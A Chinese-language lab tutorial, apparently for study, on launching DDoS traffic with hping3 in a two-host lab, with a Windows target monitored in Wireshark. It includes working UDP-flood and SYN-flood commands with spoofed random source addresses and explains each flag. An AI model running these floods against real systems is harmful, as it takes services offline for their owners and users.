DDOS流量攻击

声明：本实验教程仅供研究学习使用，请勿用于非法用途，违者一律自行承担所有风险！！！

实验目的

学习基本的DDOS工具使用

hping3

netsniffer – trafgen

实验环境

包含2台主机

attact 作为攻击方，使用Centos7.2

windows_server ，用于被攻击，同时抓包分析流量 ,任意版本均可。安装wireshark，用于抓包

实验步骤

使用hping

hping官网帮助信息

hping与ping的区别：典型的ping程序使用的是ICMP回显请求来测试，而HPING可以使用任何IP报文，包括ICMP、TCP、UDP、RAWSOCKET

查看帮助信息

hping --help

1、使用hping3进行 udp flood攻击

hping3 --flood --rand-source --udp -p 目标端口 目标IP 
hping3 --flood --rand-source --udp -c 100 -p 目标端口 目标IP 

–flood : sent packets as fast as possible(尽可能快地发送数据包)

–rand-source: random source address(随机源IP地址)

–udp : UDP mode

-p –destport: destination port (default 0) (目标端口)

-c 100 发送100个数据包，用于实验，不加可能会死机
执行命令时，抓包查看发送数据。并观察目标机器网络

抓包结果：

靶机状态：

![1540446645489](Picture/15

2、使用hping 进行syn_flood攻击

hping3 --flood –-rand-source -S -c 100 -p 目标端口 目标IP

-S:发送SYN标记

攻击后，在windows上使用 netstat -ano | find "SYN"命令，查看现象

![1540447324931](Picture/15404